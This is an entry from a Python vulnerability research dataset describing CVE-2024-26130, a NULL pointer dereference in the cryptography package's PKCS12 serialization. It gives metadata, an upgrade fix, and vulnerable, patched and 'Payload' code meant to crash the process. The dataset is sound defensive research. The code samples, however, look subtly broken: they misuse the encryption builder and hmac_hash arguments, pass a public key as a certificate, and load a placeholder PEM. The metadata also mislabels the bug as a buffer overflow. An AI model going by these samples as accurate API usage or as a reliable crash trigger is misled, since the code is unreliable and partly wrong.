CVE-2024-26130
NULL pointer dereference in pkcs12.serialize_key_and_certificates method.
- CVSS 7.5
- CWE-476
- Memory Corruption
- Local
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Starting in version 38.0.0 and prior to version 42.0.4, if `pkcs12.serialize_key_and_certificates` is called with both a certificate whose public key did not match the provided private key and an `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(…)`, then a NULL pointer dereference would occur, crashing the Python process. This has been resolved in version 42.0.4, the first version in which a `ValueError` is properly raised.
- CWE
- CWE-476
- CVSS base score
- 7.5
- Published
- 2024-02-21
- OWASP
- A05 Security Misconfiguration
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Functionality
- Category
- Memory Corruption
- Subcategory
- Buffer Overflows
- Accessibility scope
- Local
- Impact
- Denial of Service (DoS)
- Affected component
- cryptography
- Fixed by upgrading
- Yes
Solution
Upgrade to cryptography version 42.0.4 or later.
Vulnerable code sample
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048, backend=default_backend())
mismatched_public_key = rsa.generate_private_key(public_exponent=65537, key_size=2048, backend=default_backend()).public_key()
from cryptography.hazmat.primitives.serialization import pkcs12
pkcs12.serialize_key_and_certificates(
name=b"test",
key=private_key,
cert=mismatched_public_key,
encryption_algorithm=pkcs12.encryption_builder().hmac_hash(b"password"),
)Patched code sample
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048, backend=default_backend())
public_key = private_key.public_key()
cert_mismatched = serialization.load_pem_public_key(b"-----BEGIN PUBLIC KEY-----\n...\n-----END PUBLIC KEY-----", backend=default_backend())
try:
from cryptography.hazmat.primitives.serialization import pkcs12
pkcs12.serialize_key_and_certificates(
name=b"test",
key=private_key,
cert=cert_mismatched,
encryption_algorithm=pkcs12.encryption_builder().hmac_hash(b"password"),
)
except ValueError as e:
print(f"Caught expected ValueError: {e}")Payload
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import pkcs12
# Generate a valid private key
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048, backend=default_backend())
# Generate a mismatched public key (this could be done by generating another key pair)
mismatched_public_key = rsa.generate_private_key(public_exponent=65537, key_size=2048, backend=default_backend()).public_key()
# Attempt to serialize with mismatched keys and an encryption algorithm
pkcs12.serialize_key_and_certificates(
name=b"test",
key=private_key,
cert=mismatched_public_key,
encryption_algorithm=pkcs12.encryption_builder().hmac_hash(b"password"),
)
Cite this entry
@misc{vaitp:cve202426130,
title = {{NULL pointer dereference in pkcs12.serialize_key_and_certificates method.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2024},
note = {VAITP Python Vulnerability Dataset, entry CVE-2024-26130},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-26130/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
